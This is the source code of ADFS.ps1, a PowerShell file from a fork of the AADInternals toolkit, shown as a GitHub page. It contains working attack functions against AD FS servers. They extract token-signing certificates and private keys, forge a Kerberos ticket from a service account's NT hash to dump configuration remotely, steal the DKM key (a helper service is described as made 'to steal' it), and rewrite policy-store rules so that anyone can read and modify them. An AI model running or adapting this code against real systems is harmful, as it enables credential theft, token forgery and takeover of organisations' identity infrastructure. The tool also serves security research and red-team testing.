forked from Gerenios/AADInternals
-
Notifications
You must be signed in to change notification settings - Fork 1
/
ADFS.ps1
1623 lines (1326 loc) · 61.1 KB
/
ADFS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Apr 21st 2021
# Exports ADFS Certificates
function Export-ADFSCertificates
{
<#
.SYNOPSIS
Exports ADFS certificates
.DESCRIPTION
Exports current and additional (next) ADFS token signing and encryption certificates to local directory.
The exported certificates do not have passwords.
.PARAMETER Configuration
ADFS configuration (xml)
.PARAMETER EncryptionKey
Encryption Key from DKM. Can be byte array or hex string
.Example
PS:\>Export-AADIntADFSCertificates
.Example
PS:\>$config = Export-AADIntADFSConfiguration -Local
PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $config
PS:\>Export-AADIntADFSCertificates -Configuration $config -Key $key
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory= $False)]
[xml]$Configuration,
[Parameter(Mandatory= $False)]
[object]$Key
)
Process
{
if(!$Configuration)
{
$Configuration = Export-ADFSConfiguration -Local
if(!$Configuration)
{
Write-Error "Error retrieving the configuration."
return
}
}
if(!$Key)
{
$Key = Export-ADFSEncryptionKey -Local -Configuration $Configuration
if(!$Key)
{
Write-Error "Error retrieving the key."
return
}
}
$certs = [ordered]@{}
$certs["signing"] = $Configuration.ServiceSettingsData.SecurityTokenService.SigningToken
$certs["encryption"] = $Configuration.ServiceSettingsData.SecurityTokenService.EncryptionToken
$cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference
if($cert.FindValue -eq $certs["signing"].FindValue)
{
Write-Warning "Additional signing certificate is same as the current signing certificate and will not be exported."
}
else
{
$certs["signing_additional"] = $cert
}
$cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference
if($cert.FindValue -eq $certs["encryption"].FindValue)
{
Write-Warning "Additional encryption certificate is same as the current encryption certificate and will not be exported."
}
else
{
$certs["encryption_additional"] = $cert
}
foreach($certName in $certs.Keys)
{
$cert = $certs[$certName]
# If EncryptedPfx.nil equals true, this cert is stored in server's certificate store, not in configuration.
if($cert.EncryptedPfx.nil -eq "true")
{
# Get the certificate
Write-Verbose "Getting certificate $($cert.FindValue)"
$certPath = "Cert:\$($cert.StoreLocationValue)\$($cert.StoreNameValue)\$($cert.FindValue)"
$certificate = Get-Item -Path $certPath
if($certificate -eq $null)
{
Write-Error "Certificate ""$certPath""not found from this computer!"
break
}
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the private key
$keyName = $certificate.PrivateKey.CspKeyContainerInfo.UniqueKeyContainerName
Write-Verbose "Private key name: $keyName"
$keyPath = "$env:ALLUSERSPROFILE"
# CryptoAPI and CNG stores keys in different directories
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
$paths = @(
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$keyPath\Microsoft\Crypto\Keys\$keyName"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
# Parse the key blob
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt }
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
default { throw "Unsupported key blob type" }
}
$pfx = New-PfxFile -RSAParameters $privateKey.RSAParameters -X509Certificate $binCert
}
else
{
Write-Verbose "Decrypting $certName certificate"
$encPfxBytes = Convert-B64ToByteArray -B64 $cert.EncryptedPfx
# Get the Key Material - some are needed, some not.
# Values are Der encoded except cipher text and mac, so the first byte is tag and the second one size of the data.
$guid= $encPfxBytes[8..25] # 18 bytes
$KDF_oid= $encPfxBytes[26..36] # 11 bytes
$MAC_oid= $encPfxBytes[37..47] # 11 bytes
$enc_oid= $encPfxBytes[48..58] # 11 bytes
$nonce= $encPfxBytes[59..92] # 34 bytes
$iv= $encPfxBytes[93..110] # 18 bytes
$ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
$cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]
# Create the label
$label = $enc_oid + $MAC_oid
# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
# As the key size is only 16 bytes (128 bits), no need to loop.
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
$hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
$decryptionKey = $hmacOutput[0..15]
Write-Verbose " Decryption key: $(Convert-ByteArrayToHex -Bytes $decryptionKey)"
# Create a decryptor and decrypt
$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$Crypto.Mode="CBC"
$Crypto.KeySize = 128
$Crypto.BlockSize = 128
$Crypto.Padding = "None"
$Crypto.Key = $decryptionKey
$Crypto.IV = $iv[2..17]
$decryptor = $Crypto.CreateDecryptor()
# Create a memory stream and write the cipher text to it through CryptoStream
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($ciphertext,0,$ciphertext.Count)
$cs.Close()
$cs.Dispose()
# Get the results and export to the file
$pfx = $ms.ToArray()
$ms.Close()
$ms.Dispose()
}
Set-BinaryContent -Path "ADFS_$certName.pfx" -Value $pfx
}
}
}
# Apr 21st 2021
# Exports ADFS configuration from local database or remote server
function Export-ADFSConfiguration
{
<#
.SYNOPSIS
Exports ADFS configuration from the local or remote ADFS server.
.DESCRIPTION
Exports ADFS configuration from the local ADFS server (local database) or from remote server (ADFS sync).
.PARAMETER Local
If provided, exports configuration from the local ADFS server
.PARAMETER Hash
NTHash of ADFS service user. Can be a byte array or hex string
.PARAMETER Server
Ip-address or FQDN of the remote ADFS server.
.PARAMETER SID
Security Identifier (SID) of the user (usually ADFS service user) used to dump remote configuration. Can be a byte array, string, or SID object.
.Example
$config = Export-AADIntADFSConfiguration -Local
.Example
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid
Name : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid : S-1-5-21-2918793985-2280761178-2512057791-1134
PS C:\>$cred = Get-Credential
PS C:\>Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
6e018b0cd5b37b4fe1e0b7d54a6302b7
PS C:\>$configuration = Export-AADIntADFSConfiguration -Hash "6e018b0cd5b37b4fe1e0b7d54a6302b7" -SID S-1-5-21-2918793985-2280761178-2512057791-1134 -Server sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Local", Mandatory = $True)]
[switch]$Local,
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[object]$Hash,
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[Parameter(ParameterSetName="LoggedInUser", Mandatory = $False)]
[String]$Server="localhost",
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[object]$SID,
[Parameter(ParameterSetName="LoggedInUser", Mandatory = $True)]
[switch]$AsLoggedInUser
)
Process
{
if($Local) # Export configuration data from the local ADFS server
{
# Check that we are on ADFS server
$service = Get-Service ADFSSRV -ErrorAction SilentlyContinue
if($service -eq $null -or $service.Status -ne "Running")
{
Write-Error "This command needs to be run on AD FS server and the ADFSSRV service must be running."
return $null
}
# Reference: https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208
# Get configuration data object using .NET Reflection
$adfsProperties = Get-AdfsProperties
$configObject = Get-ReflectionProperty -TypeObject $adfsProperties.GetType() -ValueObject $adfsProperties -PropertyName "ServiceSettingsData"
# Get the service using WMI to get location
$adfsService = Get-WmiObject -Query 'select * from win32_service where name="adfssrv"'
$adfsDirectory = (get-item $adfsService.PathName).Directory.FullName
# Load Microsoft.IdentityServer.dll
$misDll = [IO.File]::ReadAllBytes((Join-Path -Path $adfsDirectory -ChildPath 'Microsoft.IdentityServer.dll'))
$misAssembly = [Reflection.Assembly]::Load($misDll)
Remove-Variable "misDll"
# Load serializer class
$serializer = $misAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.Utility')
# Convert the configuration object to xml using .NET Reflection
# public static string Serialize(ContractObject obj, bool indent = false)
$configuration = Invoke-ReflectionMethod -TypeObject $serializer -Method "Serialize" -Parameters @($configObject,$false)
}
elseif($AsLoggedInUser) # Read the configuration as the logged in user
{
$configuration = Export-ADFSConfigurationUsingWCF -Server $Server
}
else # Read configuration from remote server by emulating ADFS sync
{
# Check the hash and SID
if($Hash -is [array])
{
$strHash = Convert-ByteArrayToHex -Bytes ([byte[]]$Hash)
Remove-Variable "Hash"
$Hash = $strHash
}
elseif($Hash -isnot [string])
{
Throw "Hash must be a byte array or a hexadecimal string"
}
if($SID -is [array])
{
$sidObject = [System.Security.Principal.SecurityIdentifier]::new(([byte[]]$SID),0)
Remove-Variable "SID"
$SID = $sidObject.toString
}
elseif($SID -is [System.Security.Principal.SecurityIdentifier])
{
$sidObject = $SID
Remove-Variable "SID"
$SID = $sidObject.toString
}
elseif($SID -isnot [string])
{
Throw "SID must be a System.Security.Principal.SecurityIdentifier, byte array or a hexadecimal string"
}
Write-Verbose "* Start dumping AD FS configuration from $server`n"
# Generate required stuff
$sessionKey = (New-Guid).ToByteArray()
$params=@{
hash = $Hash
SidString = $SID
UserName= 'svc_ADFS$'
UserDisplayName= ""
UserPrincipalName= '[email protected]'
ServerName= "DC"
DomainName= "COMPANY"
Realm= "COMPANY.COM"
ServiceTarget = "host/sts.company.com"
SessionKey = $sessionKey
}
$kerberosTicket = New-KerberosTicket @Params
$clientSecret = Get-RandomBytes -Bytes 32
Write-Verbose "User NTHASH: $Hash"
Write-Verbose "Client secret: $(Convert-ByteArrayToB64 -Bytes $clientSecret)"
Write-Verbose "Session key: $(Convert-ByteArrayToB64 -Bytes $sessionKey)`n"
Write-Verbose "RST begin"
# Request Security Token
$envelope = Create-RSTEnvelope -Server $server -KerberosTicket $kerberosTicket
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
$RSTR = Parse-RSTR -RSTR $response -Key $sessionKey
Write-Verbose "RST end`n"
Write-Verbose "SCT begin"
# Request Security Context Token
$envelope = Create-SCTEnvelope -Key $RSTR.Key -ClientSecret $clientSecret -Context $RSTR.Context -KeyIdentifier $RSTR.Identifier -Server $server
try
{
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
}
catch
{
# Catch the error and try to parse the SOAP document
$str=$_.Exception.Response.GetResponseStream()
$buf = new-object byte[] $str.Length
$str.Position = 0
$str.Read($buf,0,$str.Length) | Out-Null
[xml]$response=[text.encoding]::UTF8.GetString($buf)
}
Check-SoapError -Message $response
$CSTR = Parse-SCTR -SCTR $response -Key $RSTR.Key
Write-Verbose "SCT end`n"
# Get the capabilities
#[xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command Capabilities
Write-Verbose "ServiceSettings start"
# Get the settings
[xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command ServiceSettings
Write-Verbose "ServiceSettings end"
$configuration = $response.GetStateResponse.GetStateResult.PropertySets.PropertySet.Property | where Name -eq "ServiceSettingsData" | select -ExpandProperty Values | select -ExpandProperty Value_x007B_0_x007D_
}
Write-Verbose "Configuration successfully read ($($configuration.Length) bytes)."
return $configuration
}
}
# Apr 21st 2021
# Exports ADFS configuration data encryption key
function Export-ADFSEncryptionKey
{
<#
.SYNOPSIS
Exports ADFS configuration encryption Key from DKM
.DESCRIPTION
Exports ADFS configuration encryption Key from the local ADFS server either as a logged-in user or ADFS service account, or remotely using DSR.
.PARAMETER Local
If provided, exports Key from the local ADFS server
.PARAMETER AsADFS
If provided, "elevates" to ADFS service user. If used, the PowerShell session MUST be restarted to return original user's access rights.
.PARAMETER ObjectGuid
Object guid of the contact object containing the Key.
.PARAMETER Server
Ip-address or FQDN of domain controller.
.PARAMETER Credentials
Credentials of the user used to log in to DC and get the data by DSR. MUST have replication rights!
.PARAMETER Configuration
The ADFS configuration data (xml).
.PARAMETER AsHex
If provided, exports the Key as hex string
.Example
PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $configuration
.Example
PS:\>$creds = Get-Credential
PS:\>$key = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $creds -ObjectGuid 91491383-d748-4163-9e50-9c3c86ad1fbd
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Local", Mandatory=$True)]
[switch]$Local,
[Parameter(ParameterSetName="Local", Mandatory=$True)]
[xml]$Configuration,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[guid]$ObjectGuid,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[String]$Server,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[pscredential]$Credentials,
[switch]$AsHex
)
Process
{
if($Local) # Export Key from the local ADFS server
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server"
return
}
# If auto certificate rollover is disabled, certificates are in AD FS servers' certificate stores and KDM key not needed.
if(-not (Get-AdfsProperties).AutoCertificateRollover)
{
Write-Warning "Auto certificate rollover not enabled. DKM key not needed."
return $null
}
$ADFSUser = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\adfssrv" -Name "ObjectName" | Select-Object -ExpandProperty "ObjectName"
# Get key information using the service
# The return value is a JSON file where the key is a hex string
$keyInformation = Export-ADFSEncryptionKeyUsingService -Configuration $Configuration -ADFSUser $ADFSUser -ServiceName "AADInternals" -Description "A little service to steal the AD FS DKM secret :)" | ConvertFrom-Json
# Check for errors
if($keyInformation.Error)
{
Write-Error $keyInformation.Error
return $null
}
$key = Convert-HexToByteArray -HexString ($keyInformation.Key)
Write-Verbose "Key object guid: $($keyInformation.Guid), created $($keyInformation.Created)"
}
else # Export from remote DC using DSR
{
$key = Get-ADUserThumbnailPhoto -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
}
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)"
if($AsHex)
{
Convert-ByteArrayToHex -Bytes $key
}
else
{
return $key
}
}
}
# May 5th 2021
# Sets configuration of the local ADFS server
function Set-ADFSConfiguration
{
<#
.SYNOPSIS
Sets configuration of the local AD FS server.
.DESCRIPTION
Sets configuration of the local AD FS server (local database).
.PARAMETER Configuration
ADFS configuration (xml-document)
.Example
PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules
PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
PS C:\>Set-AADIntADFSConfiguration -Configuration $config
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory= $True)]
[xml]$Configuration
)
Process
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server"
return
}
# Get the database connection string
$ADFS = Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService
$conn = $ADFS.ConfigurationDatabaseConnectionString
Write-Verbose "ConnectionString: $conn"
# Write the configuration to the database
$strConfig = $Configuration.OuterXml
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE IdentityServerPolicy.ServiceSettings SET ServiceSettingsData=@config"
$SQLcmd.Parameters.AddWithValue("@config",$strConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
Write-Verbose "Configuration successfully set ($($strConfig.Length) bytes)."
}
}
# May 5th 2021
# Gets ADFS policy store authorisation policy
function Get-ADFSPolicyStoreRules
{
<#
.SYNOPSIS
Gets AD FS PolicyStore Authorisation Policy rules
.DESCRIPTION
Gets AD FS PolicyStore Authorisation Policy rules
.PARAMETER Configuration
ADFS configuration (xml-document). If not given, tries to get configuration from the local database.
.Example
PS C:\>Get-AADIntADFSPolicyStoreRules | fl
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[xml]$Configuration
)
Process
{
if(!$Configuration)
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter."
return
}
[xml]$Configuration = Export-ADFSConfiguration -Local
}
$parameters = @{
"AuthorizationPolicy" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy
"AuthorizationPolicyReadOnly" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly
}
return New-Object psobject -Property $parameters
}
}
# May 5th 2021
# Gets ADFS policy store authorisation policy
function Set-ADFSPolicyStoreRules
{
<#
.SYNOPSIS
Sets AD FS PolicyStore Authorisation Policy rules
.DESCRIPTION
Sets AD FS PolicyStore Authorisation Policy rules and returns the modified configuration (xml document)
.PARAMETER Configuration
ADFS configuration (xml-document). If not given, tries to get configuration from the local database.
.PARAMETER AuthorizationPolicy
PolicyStore authorization policy. By default, allows all to modify.
.PARAMETER AuthorizationPolicyReadOnly
PolicyStore read-only authorization policy. By default, allows all to read.
.Example
PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules
PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
PS C:\>Set-AADIntADFSConfiguration -Configuration $config
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[xml]$Configuration,
[Parameter(Mandatory=$False)]
[string]$AuthorizationPolicy = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");',
[Parameter(Mandatory=$False)]
[string]$AuthorizationPolicyReadOnly = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");'
)
Process
{
if(!$Configuration)
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter."
return
}
[xml]$Configuration = Export-ADFSConfiguration -Local
}
$Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy = $AuthorizationPolicy
$Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly = $AuthorizationPolicyReadOnly
return $Configuration.OuterXml
}
}
# Exports the configuration remotely using Windows Communication Foundation (WCF)
# May 20th 2021
function Export-ADFSConfigurationUsingWCF
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Server
)
Begin
{
# Create the WCF client
$WCFClassDefinition=@"
using System.Runtime.Serialization;
using System.Collections.Generic;
using System.Collections;
using System;
namespace AADInternals
{
// DataContract definitions
public interface IValueList : IList, ICollection, IEnumerable
{
}
[DataContract(Name = "SearchResult", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class SearchResultData
{
[DataMember]
public PropertySetDataList PropertySets
{
get { return this._propertySetList;} set {this._propertySetList = value;}
}
private PropertySetDataList _propertySetList = new PropertySetDataList();
}
[CollectionDataContract(Name = "PropertySets", ItemName = "PropertySet", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertySetDataList : List<PropertySetData> {}
[CollectionDataContract(Name = "PropertySet", ItemName = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertySetData : List<PropertyData> { }
[CollectionDataContract(Name = "Values{0}", ItemName = "Value{0}", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertyValueList<T> : List<T>, IValueList, IList, ICollection, IEnumerable {}
[DataContract(Name = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
[KnownType(typeof(PropertyValueList<string>))]
[KnownType(typeof(PropertyValueList<PropertySetData>))]
public class PropertyData
{
public PropertyData() {}
public PropertyData(string name) { this._name = name;}
[DataMember(EmitDefaultValue = false, IsRequired = true)]
public string Name { get {return this._name;}set{this._name = value;} }
[DataMember(EmitDefaultValue = false, IsRequired = false)]
public IValueList Values { get {return this._values; } set { this._values = value; } }
private string _name;
private IValueList _values = new PropertyValueList<string>();
}
public enum SyncItemState
{
NotProcessed,
Processing,
Processed
}
[CollectionDataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ServiceStateSummary : List<ServiceStateItem> {}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ServiceStateItem
{
public ServiceStateItem(string serviceObjectType, long serialNumber, int schemaVersionNumber, DateTime lastUpdateTime)
{
this._serviceObjectType = serviceObjectType;
this._serialNumber = serialNumber;
this._schemaVersionNumber = schemaVersionNumber;
this._lastUpdateTime = lastUpdateTime;
this.NeedsUpdate = false;
}
[DataMember]
public string ServiceObjectType
{
get { return this._serviceObjectType; } set { this._serviceObjectType = value;}
}
[DataMember]
public long SerialNumber
{
get { return this._serialNumber; } set { this._serialNumber = value; }
}
[DataMember]
public int SchemaVersionNumber
{
get { return this._schemaVersionNumber; } set { this._schemaVersionNumber = value; }
}
[DataMember]
public DateTime LastUpdateTime
{
get { return this._lastUpdateTime; } set { this._lastUpdateTime = value;}
}
public bool SyncComplete
{
get { return this._syncCompleted; } set { this._syncCompleted = value; }
}
public bool NeedsUpdate { get; set; }
public SyncItemState ProcessingState
{
get { return this._processingState; } set { this._processingState = value; }
}
private string _serviceObjectType;
private long _serialNumber;
private int _schemaVersionNumber;
private DateTime _lastUpdateTime;
private SyncItemState _processingState;
private bool _syncCompleted;
}
public enum FarmBehavior
{
Unsupported = -1,
None,
Win2012R2,
Threshold,
Win2016,
Win2019
}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public enum FilterOperation
{
[EnumMember]
And,
[EnumMember]
Or
}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public enum SimpleOperation
{
[EnumMember]
Equals,
[EnumMember]
StartsWith,
[EnumMember]
EndsWith,
[EnumMember]
Contains,
[EnumMember]
NotEquals,
[EnumMember]
ScopeAppliesTo
}
[DataContract(Name = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class SimpleConditionData
{
public SimpleConditionData() { }
public SimpleConditionData(string property, SimpleOperation operation, string value)
{
this._property = property;
this._value = value;
this._op = operation;
}
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 0)]
public string Property { get { return this._property; } set { this._property = value; } }
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 1)]
public SimpleOperation Operation { get { return this._op; } set { this._op = value; } }
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 2)]
public string Value { get { return this._value; } set { this._value = value; } }
private SimpleOperation _op;
private string _property;
private string _value;
}
[CollectionDataContract(ItemName = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ConditionList : List<SimpleConditionData> { }
[DataContract(Name = "Filter", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class FilterData
{
public FilterData()
{
}
public FilterData(FilterOperation operation) { this._bool = operation; }
[DataMember(Name = "Conditions")]
public ConditionList Conditions { get { return this._conditions; } set { this._conditions = value; } }
[DataMember(Name = "Operation")]
public FilterOperation Operation { get { return this._bool; } set { this._bool = value; } }
private FilterOperation _bool;
private ConditionList _conditions = new ConditionList();
}
// PolicyStoreReadOnlyTransfer definitions
[System.ServiceModel.ServiceContractAttribute(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore", ConfigurationName = "AADInternals.IPolicyStoreReadOnlyTransfer")]
public interface IPolicyStoreReadOnlyTransfer
{
